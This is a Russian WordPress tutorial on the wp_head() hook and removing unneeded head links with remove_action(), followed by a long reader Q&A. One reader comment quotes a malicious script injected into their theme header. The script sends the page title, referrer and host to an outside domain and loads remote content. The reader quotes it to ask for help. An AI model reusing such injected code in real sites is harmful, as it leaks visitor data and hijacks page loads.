Всем привет! Сегодня на seo-mayak.com я хочу рассказать об одной очень важной функции WordPress, которая называется wp_head(), а также мы наведем порядок в header и вытравим от туда лишние ссылки.
Не так давно, в статье «Оптимизация WordPress. Нагрузка на сервер и как ее снизить» мы копались в файле header.php, сокращая количество запросов к БД. Сейчас же речь пойдет немного о другом, но тема также касается нагрузки, которую несет сервер.
Говорить мы будем о лишних ссылках, которые генерируются WordPress или сторонними плагинами и выводятся в header с помощью функции wp_head() между тегами <head></head>. По данным ссылкам ходят различные боты, полезные и не очень, что создает дополнительную нагрузку на сервер.
То, чем мы будем заниматься можно смело отнести к SEO-оптимизации, так как избавляться мы будем от лишних ссылок, которые уж точно не несут никакой пользы для сайта, а скорее наоборот.
Итак, что это за функция такая wp_head() и как она работает? Действительно не мешало бы разобраться. Поехали!
Функция wp_head()
Если заглянуть в файл header.php, то там, обычно перед закрывающим тегом </head>, мы найдем такую строчку:
<?php wp_head(); ?>
Когда я только набирался знаний, мне эта функция показалось вообще какой-то бесполезной. Я даже попробовал ее снести, после чего конечно блог не хило пошатнуло и мне пришлось в срочном порядке все восстанавливать.
После я принялся выяснять, что это за функция такая и с чем ее «едят». Оказалось wp_head() — это не просто функция, а так называемый — хук.
На заметку! Хук (hook с англ. зацепка, крючок) — это своего рода функция-перехватчик, с помощью которой можно повлиять на роботу той или иной функции.
Надо сказать, что хуки бывают двух видов: хуки-фильтры и хуки-действия.
Хук-фильтр способен перехватывать работу функций и вносить в их некие корректировки, которые не изменят функцию полностью, но повлияют на окончательный результат. Не так давно, для добавления картинок в RSS-ленту, мы как раз использовали хук-фильтр.
Хук-действие также может перехватывать работу функций, но в отличии от хук-фильтра, он не вносит корректировки, а полностью подменяет перехваченную функцию другим, подготовленным действием. Список всех хуков WordPress вы можете посмотреть здесь.
Функция wp_head() как раз относится к тем самым хукам-действий, но имеет свою особенность. Работает данный хук на основе другой функции, которая называется —do_action().
Я сейчас не стану подробно описывать принцип действия функции do_action(), так как в будущем собираюсь посветить ей отдельную статью, так что не примените подписаться на обновления блога.
Итак, что же такого особенного в хуке wp_head()? Если включить воображение и попытаться объяснить все человекопонятным языком, то функцию wp_head() можно сравнить веревкой, которая натянута между тегами <head></head>. Пространство между этими тегами называется header.
WordPress использует данную веревку для «вывешивания» на ней определенной информации, которая не видна пользователю, но ее прекрасно видят поисковые роботы. Что это за информация, я скажу чуть позже.
Также, «волшебной» веревкой пользуются плагины, например такие, как All in One SEO Pack, который с помощью wp_head() выводит в header мета теги: title, description, keywords и др.
Для примера я приведу выдержку из исходного кода SEO Маяк, на которой наглядно продемонстрировано, сколько информации плагин All in One SEO Pack выводит в header, через функцию wp_head():
<!-- All in One SEO Pack 2.1.5 by Michael Torbert of Semper Fi Web Design[218,286] --> <link rel="author" href="https://plus.google.com/u/0/112550732745635908043" /> <meta name="description" content="Сегодня на seo-mayak.com мы продолжим выполнять рекомендации PageSpeed и разберем пункт "Сократите CSS", что позволит еще немного ускорить загрузку сайта." /> <meta name="keywords" content="сократить css, ускорить загрузку сайта" /> <link rel="canonical" href="/sozdanie-bloga/skorost-zagruzki/kak-sokratit-css-i-uskorit-zagruzku-sajta.html" /> <meta property="og:title" content="Как сократить CSS и ускорить загрузку сайта | SEO Маяк" /> <meta property="og:type" content="article" /> <meta property="og:url" content="/sozdanie-bloga/skorost-zagruzki/kak-sokratit-css-i-uskorit-zagruzku-sajta.html" /> <meta property="og:image" content="/wp-content/plugins/all-in-one-seo-pack/images/default-user-image.png" /> <meta property="og:site_name" content="SEO Маяк" /> <meta property="og:description" content="Сегодня на seo-mayak.com мы продолжим выполнять рекомендации PageSpeed и разберем пункт "Сократите CSS", что позволит еще немного ускорить загрузку сайта." /> <meta name="twitter:card" content="summary" /> <meta name="twitter:description" content="Сегодня на seo-mayak.com мы продолжим выполнять рекомендации PageSpeed и разберем пункт "Сократите CSS", что позволит еще немного ускорить загрузку сайта." /> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-44081052-1'); ga('send', 'pageview'); </script> <!-- /all in one seo pack -->
НО! Насколько полезна выводимая в исходный код информация? То, что «вывешивает» All in One SEO Pack, мы заполняем сами в настройках плагина, но есть такие данные, к которым мы не имеем никакого отношения.
Лишние ссылки в Header
Как отличить полезную информацию от бесполезной или даже вредной? На самом деле не стоит пугаться, вредной информации не так уж много и в основном она выводится через wp_head() самим WordPress.
На Денвере у меня сохранилась не «вылеченная» копия блога, из исходного кода которого, я хочу показать Вам несколько строк:
1. Вы используете для написания или редактирования статей блог-клиенты? Я нет. Уверен, что многие веб-мастера даже не знают, что это такое. Намекну. Блог-клиент — это программа, типа Microsoft Word. Полный список блог-клиентов вы можете посмотреть тут.
Если для написания постов Вы используете редактор WordPress, то можно смело убирать еще одну строчку из исходного кода:
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="/xmlrpc.php?rsd" />
Но как эта ссылка появилась в header? В данном случаи к хуку wp_head() цепляется функция rsd_link(), которая и генерирует эту строчку.
Как удалить лишние ссылки с header я расскажу чуть позже, читайте статью до конца. Продолжим.
2. Несколько лет назад, после переноса базы данных с Денвера на хостинг, из-за недостатка знаний, на моем кулинарном блоге перестала работать функция вставки изображений через редактор WordPress.
Пока я разбирался в чем дело, а на это ушло несколько месяцев, пришлось искать выход из положения и им оказался сторонний редактор Windows Live Writer. Возможно как-нибудь я опишу данный редактор, но пока не будем на этом останавливаться.
Так вот, меня тогда мало интересовало, как Windows Live Writer подключается к блогу, но с пришествием времени я понял, что для подключения он ищет такую строчку:
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="/wp-includes/wlwmanifest.xml" />
Генерируется функцией wlwmanifest_link().
Сейчас я не использую Windows Live Writer, поэтому и ссылка мне эта больше не нужна. Добавим в очередь на удаление.
3. Следующая строчка, кандидат на удаление, вызывает мое тихое удивление:
<link rel='shortlink' href='/?p=2840' />
Генерируется функцией wp_shortlink_wp_head().
Для каких целей WordPress генерирует короткую ссылку, которая по сути создает полный дубль, мне не понятно. Также я не нашел внятных объяснений у «бывалых». Все просто советуют избавиться о лишней ссылки и все.
4. Вот еще 2 строчки, которые по моему мнению не несут никакой пользы:
<link rel='prev' title='Готовая форма обратной связи на PHP без плагинов' href='http://mayak.ru/sozdanie-bloga/obxodimsya-bez-plaginov/php-forma-obratnoj-svyazi.html' /> <link rel='next' title='Динамическая карта сайта XML с помощью плагина All in One SEO Pack' href='http://mayak.ru/sozdanie-bloga/plaginy-wordpress/dinamicheskaya-karta-sajta-xml-plagin-all-in-one-seo-pack.html' />
Генерируется функцией adjacent_posts_rel_link_wp_head().
Это ни что иное как ссылки на предыдущую и следующую статьи. Для чего они были помещены в header непонятно. WordPress парой удивляет. То короткую ссылку зацепил на «веревку» wp_head(), еще и постраничную навигацию вывесил.
Не вижу никакой пользы от этих ссылок. Ведь есть карта сайта XML, а также карта сайта для посетителей, в которых все правильно изложено и робот не должен рассеивать ссылки.
Польза от данных строчек будет в том случаи, если на блоге есть очень большие статьи, которые делятся на несколько страниц. Тогда понятно, что роботу будет проще определиться: где начало, а где конец. Но при отсутствии таких постов, логика атрибутов prev и next не прослеживается. Будем от них избавляться.
5. Данная строчка не содержит ссылки, но от нее также желательно избавится:
<meta name="generator" content="WordPress 3.8.3" />
Генерируется функцией wp_generator().
Такую информацию можно назвать находкой для хакера, так как зная движок сайта, а тем более его версию, будет значительно проще найти уязвимости и ими воспользоваться. Так что ради защиты от взлома надо обязательно удалить вышеупомянутую строчку.
6. Также, с помощью функции wp_head(), в header выводится ссылка на фид комментариев:
<link rel="alternate" type="application/rss+xml" title="SEO Маяк » Лента комментариев к «Правильная структура заголовков сайта. HTML теги h1 — h6 и их влияние на продвижение»" href="http://mayak.ru/seo-prodvizhenie/tonkosti-prodvizheniya/pravilnaya-struktura-zagolovkov-sajta-html-tegi-h1-h6-i-ix-vliyanie-na-prodvizhenie.html/feed" />
Генерируется функцией feed_links_extra().
Лично я, в качестве RSS-потока, использую feedburner, впрочем как и большинство блогеров и мне, в исходном коде, совершенно не нужна ссылка на встроенный в WordPress фид с комментариями. Поэтому будем расставаться и с этой строчкой.
Итого у меня получилось 6 пунктов с лишней информацией, от которой можно и нужно избавится. Кстати тем самым мы немного сократим HTML, если Вы помните есть такая рекомендация в PageSpeed.
Лечение wp_head(). Функция remove_action()
Пришло время познакомить Вас с еще одной полезной функцией — remove_action(), которая работает на основе другой функции — remove_filter() и выступает в роли чистильщика хуков, удаляя функции, прикрепленные к какому-либо хуку-действия.
Открываем файл functions.php и в самый конец, перед знаком ?>, вставляем следующий код:
remove_action( 'wp_head', 'rsd_link' ); remove_action( 'wp_head', 'wlwmanifest_link' ); remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 ); remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 ); remove_action( 'wp_head', 'wp_generator' ); remove_action( 'wp_head', 'feed_links_extra', 3 );
Как работает функция remove_action()?
Первым параметром функция принимает хук-действие, в нашем случаи wp_head.
Во-втором параметре указывается название функции, действие которой надо отменить.
Третьим параметром идет приоритет хука, который был установлен при добавлении (по умолчанию 10).
Четвертым параметром указывается число аргументов хука (по умолчанию 1).
Сохраняем изменения в functions.php и смотрим исходный код, лишних ссылок в header больше нет. По-моему мы не плохо поработали.
До встречи!
С уважением, Виталий Кириллов
Здравствуйте Виталий, заметил сегодня такую ‘весъчь’: решил попробовать зайти на свой сайт через поисковик яндекс, вбил фразу, перехожу по ссылке, страница загружается, но не догрузившись просит меня скачать иконку сайта favicon.ico. Хотя Гугл нормально открывает страницу.
Скажите пожалуйста почему такое происходит? Я что-то напортачил или яндекс балуется?
Я повторил Ваши действия и все нормально открывается.
Это видимо Опера Max ‘шалила’, — она сжимает только мобильный трафик, когда её удалил, то всё стало нормально!
Доброго времени суток Виталий, у меня на сайте постоянно создается и увеличивается (было 4 Мб) таблица в базе данных «wp_links_stats» , когда я её просмотрел, то там находятся ссылки (вроде как только исходящие).
Когда я её удаляю, то на сайте ничего не пропадает, всё работает, функционирует… В общем всё хорошо. Но вот только «засоряется» и значительно увеличивается база данных. Скажите пожалуйста, что это за таблица и чем она создается, нужна ли она?
Спасибо.
Здравствуйте Евгений!
Насколько я помню данную таблицу может создавать плагин NoExternalLinks и если Вы данный плагин удалили, то и таблицу тоже надо удалить.
По поводу объема базы данных, то тут может быть разные причини. Отключите ревизии WordPress.
Здравствуйте, у меня всё равно не ‘добавляются’ лайки, ретвиты, гугл плюсы и т. д. после проверки в seobuilding.ru; xtool и других анализаторах сайта. Стоят кнопки ‘поделиться’ от яндекса. В чем может быть проблема?
Я не знаю Евгений, как Вам помочь.
А что за загадочные циферки стоят после ‘feed_links_extra’ ит.д что они значат?? Где о них можно почитать??
Антон, третьим параметром идет приоритет хука, который был установлен при добавлении, а четвертым параметром указывается число аргументов хука.
Правильно понимаю, сначала удаляем строчки из header, а потом вставляем кусок кода в functions? Одно без другого не будет работать?
Интересно, каким образом вы сначала удалите строчки из header? Вы статью внимательно читали?
header — это область шапки сайта в исходном коде, которая начинается от тега <head> и заканчивается тегом </head>, а не файл в шаблоне.
Читал вроде внимательно, но заблудился и немного сбили слова типа этих)))
Если для написания постов Вы используете редактор WordPress, то можно смело убирать еще одну строчку из исходного кода:
Получается единственное что надо сделать, это вставить код в functions?
Это получается самый оптимальный вариант убрать всё это? Эта функция не будет создавать дополнительную нагрузку?
Нет, данная функция не создает дополнительную нагрузку. Просто вставьте код в файл functions.php.
Спасибо, сделал, кол-во запросов к БД кстати снизилось, с 20-22 до 16. Но у меня к вам ещё один маленький вопрос, у вас в исходном коде я не вижу ссылок на ленту и на ленту комментариев фид. Как я понял, в данной статье мы убрали только ленту комментариев к конкретной статье? Ещё раз большое спасибо.
Вот моя ссылка на ленту feedburner:
А ссылку на ленту комментариев я убрал, так как не вижу в ней смысла.
А как и где убрать? А то я спрашивал намекая, но вы не поняли)))
Виталий, спасибо за статью, уменьшил 6 запросов. Посдкажите, пожалуйста, какой функцией отключить атомистическое создание описания и ключевых слов. Генерируются шаблоном ранее all in One SEO Pack& Получаеться дублирование, при том то что генерируется шаблоном очень плохого качества
Владимир, мне не известна такая функция.
Виталий, просмотрев настройки шаблона я нашел, как эта функция может отключаться. В код не пришлось залазить. Все и так обошлось 🙂
Решила почистить свой хедер. Всего того, что перечислено в статье, там не нашла, но в глаза бросилась такая бяка: <link rel="profile"
href="http://gmpg.org/xfn/11">
; Прошла по ссылке — какой-то непонятный социальный профиль. Пробую удалить в первый раз, обновляю — вылазит страница с сообщением об ошибке «вы действительно хотите удалить…». Отвечаю «да» — меня возвращает в хедер, строчка на месте. Удаляю второй раз — получается. Какая интересная защита. Вашу функцию remove_action я вставлю, но вот какой остается вопрос: в хедере осталось 6 строчек со словом link, из них в 4-х — про иконки apple. Я где-то читала, когда искала инфу про фавикон, что эти иконки для apple не нужны, тогда, может, и эти строчки стоит удалить? Или оставить все как есть, а ваша функция remove_action все обезвредит?Проверьте файл header.php, возможно в нем прописаны некоторые линки.
Линк rel profile убивается просто:
С иконками apple я не сталкивался, можно наверное удалить, но проверьте, чтоб ваш сайт не остался вообще без фавикона)
а разве нельзя эту строчку (с линк профилем)просто удалить?
Галина приведите пример линка, о котором идет речь.
Опять я. Прочитала статью про мета-тег роботс, все сделала по ней, получилось. Открываю через Контрл-У исходный код, а там строчка: meta name=»generator» и далее версия Вордпресс. В Функциях темы я не нашла wp_generator() и соответствующую ссылку. Странно, где тогда она может находиться? Или за вывод версии у меня отвечает другая функция? Вы говорите, что опасно разглашать каждому желающему подобную информацию.
Как убить name generator я описал в статье, читайте внимательней.
Пошла я на другой сайт в поисках ответа, как разобраться с этим мета нэйм генератор (эксперимент ведь не завершен, как у Задорнова), там совершенно другой способ. И знаете что, вы свой не добили. Через Контрл-У у вас версия Вордпресс не проглядывается, а вот при добавлении к адресу сайта «/readme.html» я вижу всю информацию по вашему движку. А внеся после адреса «/feed» и попав на соответствующую страницу, нажимаю Контрл-У и вижу: <generator> Ваш движок и его версия</generator>
Согласен, при желании версию движка можно подглядеть, но статья про функцию wp_head() и как удалить лишний хлам из header, а не маскировка версии WordPress )
Все в один голос советуют в целях безопасности скрывать версию движка. А так же вовремя его обновлять. Но тогда получается, что потенциальный хакер будет точно знать версию движка! Или я чего-то не догоняю?
Спасибо Виталий, замечательная статья. В Интернете я уже встречала статьи о лишних ссылках в коде. Но у вас это написана аргументировано и убедительно. Знаете о чем пишите.Мне показалось, что по вашей статье смогу это сделать у себя.
функция remove_action( ‘wp_head’, ‘adjacent_posts_rel_link_wp_head’, 10, 0 ); убирает предыдущую и следующую статью А есть что то подобное для удаления на страницах категории и page предыдущую и следующую страницу или этого не стоит делать?
Алексей, функция remove_action() убирает ссылки на предыдущую и следующую статью в исходном коде и к видимым ссылкам на страницах эта функция никакого отношения не имеет.
я и имел ввиду в исходном коде страницы На страницах категорий и page ссылки в исходном коде страницы на предыдущую и следующую страницу категории или страницы page остаются Можно их как то убрать?
Возможно это особенности Вашего шаблона, так как у меня ничего не осталось.
Виталий, доброго времени суток. У меня в шапке сайта имеется ссылка с атрибутом rel=»pingback» и ведет на файл xmlrpc.php. Для чего эта ссылка и можно-ли ее удалить.
Здравствуйте Мария!
Pingback — это один из способов уведомления веб-авторов, о ссылке на их документ. Нужна ли такая функция или нет, решать Вам!
Виталий, большое спасибо. Думаю, что эта функция мне не нужна. Из-за этой ссылки Яндекс индексирует страницу xmlrpc.php. Удалю ее.
Добрый день! Подскажите, пожалуйста, как Вам удалось избавиться от микроразметки, генерируемой плагином All in One SEO Pack вида:
<meta property="og:image" …. и т.п., которая у Вас в статье представлена?
Я вижу, что в коде страницы у Вас ее больше нет.
У меня на 3-х сайтах стоит этот плагин с одинаковыми настройками и только на одном из них откуда-то берутся эта разметка… Не могу понять, откуда она берется? Отсутствие галочки в настройках плагина Use Schema.org Markup не помогает — она отвечает за другое…
Заранее спасибо за ответ! 🙂
Здравствуйте! Наверное у Вас активирован модуль Соц.Мета. Отключите его и property=»og:image» должно исчезнуть.
Добрый день! Подскажите, как я могу убрать мета-теги description и keywords из wp-head. У меня стоит бесплатный шаблон, который я переверстал по своему. К сожалению он генерирует ключевые слова из слов заголовка страницы, установил All in One SEO Pack и теперь в исходном коде по два мета-тега keywords и description.
Здравствуйте Евгений!
Вам надо найти функцию, которая генерирует упомянутые мета-теги и удалить ее.
Значит посредством функции remove_action не выйдет запретить вывод данных тегов? Не подскажите, где искать функцию, генерирующую данные теги, в каких файлах? т.к. именно wp_head() и выводит данные теги, а копнуть глубже не хватает знаний.
Обычно функции живут в файле functions.php, но бывают исключения! Сам WordPress не генерирует такие мета-теги, поэтому это полюбому шаблон!
Спасибо, Виталий! От самого шаблона не осталось ни дизайна, ни функционала, буду перекраивать свой дизайн на голый шаблон. Ещё раз спасибо за уделённое время!
Доброй ночи!Подскажите как при помощи хука в дочерней теме вставить изображение в header. ПОМОГИТЕ !!!!!
Здравствуйте! Не пойму, зачем вам изображение в header. Если Вы хотите чтобы это изображение отображалось, то просто вставьте его в шапку сайта.
День добрый . Хотел вставить в дочернюю тему -баннер, какой либо текст чтобы не з висит от обновления
Здравствуйте Юрий! И в чем проблема?
День добрый. Помогите разобраться. Если пользоваться hook и своей зацепкой указав место вывода действия , надо в родительской теме в header.php указать месть. Но при обновлении темы зацеп ка улетит , так как не является штатной функцией. Если скопировать файл header в дочернюю тему , зачем тогда хук.
Тег шаблона <?php wp_head(); ?> который взаимодействует с функцией wp_head(), на которую, в свою очередь, можно воздействовать с помощью хука wp_head. Зацепка может располагаться в разных директориях, например в папке с плагинами. Об этом писал Егор в своем комментарии. Тогда проблем с обновлением темы не будет.
Здравствуйте! в одной статье прочитал что нужно ещё чистить заголовки ответа сервера _nickyurov.com/wordpress-cleanup/#comment-7192 На ваш взгляд Виталий нужно ли это делать? и какая польза будет для сайта?
В смысле чистить? Заголовоик, типо того, что вы мне привели в пример никакого вреда не несут. Да знака # это обычный URL страницы, все что после — обычный якорь. О якорях читайте тут.
Добрый вечер!
Не знаю в тему ли…но спрошу, ибо меня интересует вопрос именно про Header в Вордпресс.
Сделал сайт. Поставил шаблон (скачал его прямо из админки WP, т.е. как бы вирусов не должно быть там). Через пару недель наблюдаю такое — при открытии моего сайта белый лист секунд 5 висит и внизу в браузере надпись — что грузится вообще хз что и чей сайт, после этого далее шла норм загрузка моего сайта.
Я зашел в админку WP, в редактор шаблонов, и в шаблоне Header в самом конце перед тегом нашел следующее:
evc_post_id = false; var a=»; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = «http://sashazrl.bget.ru/js/jquery.min.php»; var n_url = base + «?default_keyword=» + default_keyword + «&se_referrer=» + se_referrer + «&source=» + host; var f_url = base + «?c_utt=snt2014&c_utm=» + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== » && se_referrer !== null && se_referrer !== »){document.write(» + »);}
вот именно этот сайт
http://sashazrl.bget.ru
я и видел при загрузке моего.далее я стер этот скрипт из шаблона. Сохранил. Все гуд. Грузится быстро и только мой сайт. Но через 4-5 дней вижу ТАМЖЕ уже два таких же скрипта, один в один, только разные наименования сайтов.
Т.к. я не силен в этой грамматике, подскажите что эти скрипты делают, и каким образом и кто их прописывает в мой Header ??? (админ панель у меня спрятана, логин НЕ АДМИН, а набор из 50 символов, пасс — такой же набор из других символов; на сайте 5-10 статей всего, т.е. заведомо ломать его кому-то это очень спорно…)
Спасибо за любую информацию!
Добрый! Есть возможность удалить тег title из wp_head()?
Пробовал в function.php прописать след. код: remove_action( ‘wp_head’, ‘wp_title’ );
Не сработало. Это нужно, поскольку я прописываю в теме title сам. А для валидности кода 2 тега title нельзя использовать.
Тег title выводиться функцией wp_title, тег шаблона, относящийся к данной функции обычно расположен в файле header.php, но бывают исключения и title формируется специальной функцией в файле functions.php и цепляется к хуку wp_head для вывода в шапку. Вам надо или удалить тег шаблона или найти и удалить функцию.
Решение было найдено. В function.php была какая-то кастомная функция:
add_theme_support( 'title-tag' );
Закомментировал, всё стало на свои места. Настройки для заголовков заработали через плагин All in One SEO Pack. Виталий, спасибо за быстрый ответ, но он бесполезен в моём случае.
Поддержка вывода title через функцию add_theme_support(); была внедрена в WordPress с версии 4.1.
Виталий, как вы думаете, такую ссылку стоит удалить физически? . Она не удалилась после вставки в файл функций remove_action(). Остались на месте фиды и RSS. А другого лишнего у меня и нет в хедере.
В коде заголовка генерируются все плагины с длинными стилями. Какой код заголовка это выводит?
Заранее спасибо.
Ссылки на RSS каналы обычно прописываются напрямую в файле header.php.
Стили плагинов выводятся также через хук wp_head.
Виталий, меня интересует эта ссылка в хедере, можно ли ее удалить? В прошлом комментарии, я вас о ней спрашивала. Сама ссылка: из комментария исчезла, вместо нее осталась только точка. У меня в теме нет прямых ссылок в хедере, на RSS, а в коде они есть, не могу понять откуда эти ссылки происходят. Не могут ли их этой строчки, про которую спрашиваю?
Строчка:
должна удалять ссылку на фид комментариев, а:
удаляет ссылку на основной rss канал.
Все понятно у вас удаляются ссылки из комментариев, это ссылка на профиль.
Чтобы защита пропустила html теги в комментарии, надо воспользоваться преобразователем и обратить их в html сущности.
Здравствуйте. А можно удалить то, что идет под заголовком «<!— Feed and Ping URLS—>»? Я это все равно вроде как не использую. Спасибо.
Здравствуйте Сергей! Это закомментированная строка, она никакой роли не играет.
Виталий,
спасибо за полезную статью!
Заглянул у себе в хедер, там какая-то непонятная ссылка:
Нужна ли она и что обозначает, и если её можно отключить, то как?
Спасибо!
вот ссылка: <link rel='
https://api.w.org/'
href='http://interior-designing.ru/wp-json/'
/>Виталий, это линки появились с версии 4.4 и относятся API. Их можно убрать, вот лекарство:
Ураааааа! Заработало!!!!
Благодарю Вас, Виталий, функция API действительно отключилась!
Но вот, почему-то что-то не срабатывает функция для удаления фидов:
remove_action( ‘wp_head’, ‘feed_links_extra’, 3 );
указаная выше, чтобы отключить данные ссылки:
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="
http://interior-designing.ru/feed/
" /><link rel="alternate" type="text/xml" title="RSS .92" href="
http://interior-designing.ru/feed/rss/
" /><link rel="alternate" type="application/atom+xml" title="Atom 0.3"
href="http://interior-designing.ru/feed/atom/
" /><link rel="alternate" type="application/rss+xml" title="Мастерская Уюта » Лента"
href="http://interior-designing.ru/feed/
" /><link rel="alternate" type="application/rss+xml" title="Мастерская Уюта » Лента комментариев"
href="http://interior-designing.ru/comments/feed/
" />а также не знаю почему не срабатывает эта функция для отключения вывода следующий страницы:
remove_action( ‘wp_head’, ‘adjacent_posts_rel_link_wp_head’, 10, 0 );
(если конечно это необходимо удалить из хедера)
Прошу помощь разобраться и ХОРОШИХ ВЫХОДНЫХ!!! 🙂
Возможно у Вас эти линки статичные и прописаны в файле header.php или же выводятся функцией шаблона, тогда remove_action не сработает.
…. вот эту ссылку не может отключить:
<link rel="next"
href="http://interior-designing.ru/page/2/
" />Так она плагином выводится, естественно название функции там другое.
Спасибо, за ответ, я посмотрю у себя и Вам отпишусь!СПАСИБО!
Виталий, Вы просто Ас!
Действительно первые 3 ссылки фидов указаны в файле header, я пробовал блокировать их с помощью <span>…</span>, но результата нет…
Возможно знаете как их заблокировать?
Благодарю за помощь!
Их можно закомментировать:
или вообще удалить.
Б-Л-А-Г-О-Д-А-Р-Ю! Виталий!!!!
Удалил их. Два последних вопроса по данной теме:
1. В хедере остались два последние ссылки: лента фидов и лента комментариев фидов (приведенные выше). Где они могут «скрываться»? В файле header их нет (((
2. Нужно ли удалять из хедера: <link rel="next" href="
http://interior-designing.ru/page/2/
" />Если удаление этой ссылки не повлияет отрицательно на работу всего сайта, я буду искать в плагине, где её отключить.
Спасибо за высоких класс!!!
Ищите Виталий!
Доброго времени суток,Виталий!Следую Вашим последним рекомендациям прошел несколько урокав HTML для начинающих.По ходу теперь мой статус «кипящий чайник».На самом деле уже понимаю как выглядит скелет,что такое теги как открываются закрываются и т.д.
Читаю ваши статьи хоть что то понимая….
А вопросов появилось ещё больше!
1)В файл functions.php не нашел закрывающего знака ?> может ли быть такое?
2)Не нашел файл header.php такое бывает?
И третий не по теме статьи:как добавить мета теги в текст страницы?
Здравствуйте Геннадий!
1. Да такое может быть, шаблоны все разные и страшного в этом ничего нет. Если надо вставить функцию, вставляйте ее в начало, после открывающего тега.
2. Файл header.php должен быть в шаблоне, плохо искали.
3. Смотря какие мета теги. Обычно мета-теги выводятся в область между тегами <head></head>, которые располагаются в том же файле header.php.
Спасибо,Виталий за ответ!
С functions.php всё ясно.
Пользуюсь Фтп клиента FileZilla,где там шаблоны.Название папки если можно.
Заранее СПС,
Геннадий, путь от корня сайта до Вашей темы следующий: wp-content/themes/sg-double, там и надо искать все файлы.
Здравствуйте, есть ли какой-нибудь способ контролировать порядок вывода кода функцией wp_head(); т.е мне не нравится что у меня идет тайтл, потом идет куча кода выводимого wp_head, а потом где то внизу идет дескрипшн и кейвордц, так же выводимые функцией wp_head (у меня это делает плагин ALL in SEO pack)
Ксения просто перенесите функцию wp_head() вверх секции head.
Виталий, здравствуйте!
Обращаюсь к Вак как к гуру разных кодов и мастеру чистки хедера от всякого мусора.
После перехода на новый домен, вдруг title, который в хедере стал отображаться прямо в шапке главной страницы:
prnt.sc/a9f058
, я понимаю, что title нужен, но вот его отображение там лишнее. Не подскажите как убрать это отображение?И ещё после перехода на другой домен, в хедере сразу появился какой-то подозрительный скрипт
prnt.sc/a9f5ra
, который, как я понял выводит плагин Yoast, настроек плагина не менял, но этого скрипта раньше не было. Как это удалить с хедера?Спасибо за помощь и знания!
Здравствуйте Виталий! Вы приведите код из header.php на скриншоте полностью, я посмотрю.
Виталий, огромное спасибо, что откликнулись на просьбу!
Вот скрин:
prnt.sc/a9fcsg
, так как хедер большой, пришлось уменьшить масштаб, может более удобнее Вам будут смотреть исходный код.Ещё раз большое спасибо!
Виталий, «подозрительный» скрипт у Вас выводится плагином Yoast SEO, смотрите настройки. Я точно не могу сказать, где там галочку надо снять, но что можно его убрать — это я зная наверняка.
По заголовкам title. Вы скорее всего не домен сменили, а шаблон. У вас за верхний заголовок отвечает следующий участок исходного кода:
Его просто или убрать надо или переименовать.
Заголовок под картинкой (как я понимаю — это и должен быть видимый заголовок сайта) выводит следующий участок:
Так как сам файл Вы мне не показали, я не могу точно сказать, какие участки в файле header.php вам надо убирать или переносить. Вы сами разберитесь по соответствующим тегам.
Виталий, спасибо за ответ!
С плагином я попробую разобраться, спасибо за разъяснение!
Вроде менял домен, раньше был interior-designing.ru, сейчас interior-designing.club, но меня интересует именно вывод ненужного в шапке названия, которого раньше не было т.е.
Мастерская Уюта — дизайн интерьера и не только
А если я удалю нижеуказанный код вместе с тайтл из хедера, разве это правильно?
В хедере, как я понимаю тайл должен быть всегда, он и раньше был там, но не выводился в шапке.
У меня в каждой статье есть в хедере тайтл, но ни один их них не выводится в шапке сайта, только этот.
<span class="site-title"><a href="
http://interior-designing.club/
" title="Мастерская Уюта" rel="home">Мастерская Уюта</a></span><span class="site-description">дизайн интерьера и не только</span>
Как сохранить тайтл, но удалить его вывод в шапке сайта, спасибо!
У вас title выводите плагином:
И другого title на сайте быть не должно. Я не пойму зачем Вам этот кусок кода!
Виталий, спасибо за ответы!
Благодаря Вам в голове всё раскладывается по полочкам.
Я поднял копию файла header php, которую сделал пару недель назад и нашёл данный код:
<span class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></span>
<span class="site-description"><?php bloginfo( 'description' ); ?></span>
чуть позже, читая Вашу статью об уменьшении нагрузки на сервер, где были описаны примеры, как заменить универсальный код шаблона на код своего сайта, уменьшив тем самым число запросов к серверу.
Из вышеуказанного кода у меня получился:
<span class="site-title"><a href="
http://interior-designing.ru/
" title="Мастерская Уюта" rel="home">Мастерская Уюта</a></span><span class="site-description">дизайн интерьера и не только</span>
т.е. — этот самый код, который вылез у меня вчера в шапке после перехода на другой домен.
Изменения данного кода я проводил 8 февраля 2016 года и до сих пор, этот код себе мирно «спал» и не куда не вылазил и вдруг сразу после переезда на другой домен 26 февраля 2016, он вдруг проснулся и вылез в шапке сайта.
Вопрос: Что его побудило «проснуться» и вылезти на поверхность? Просто интересно.
Конечно, я готов удалить данный код, просто хочу понять что его «разбудило» и не повлечёт ли удаление данного кода, каких-то других проблем или глюков в других участках сайта?
Ведь его же не зря программисты вписывали, а и он не мешал до 26 февраля никому, а тут «вылез».
Спасибо за общение и помощь в понимании этих не лёгких для меня процессов!!!!
У вас есть основной title, есть заголовок сайта и этот код лишний, я даже больше скажу вредный. Виталий, познать гранит программирования можно только с помощью экспериментов, вот и проведите его и посмотрите, как удаление кода отразится на сайте. Если съедет дизайн, так его поправить можно, других проблем быть не должно. Почему он вылез? Вообще это видимый код, даже без оптимизации он должен был отображаться. Единственное, что может быть — он был скрыть с помощью стилей и по какой-то причине директива display:none; была отменена.
Добрый день,Виталий!Спасибо за рекомендации…Указанные Вами папки обследовал в первую очередь до того как задал вопрос.!Увы,там папки header.ph нет.Её нет ни где….Что делать?
Заранее Спасибо за ответ.
Здравствуйте Геннадий! Вам не папка нужна, а файл header.php, который, в Вашем случаи, находится по адресу wp-content/themes/sg-window/header.php
Нашел!Дай Вам Бог здоровья,Виталий.
Виталий, здравствуйте!
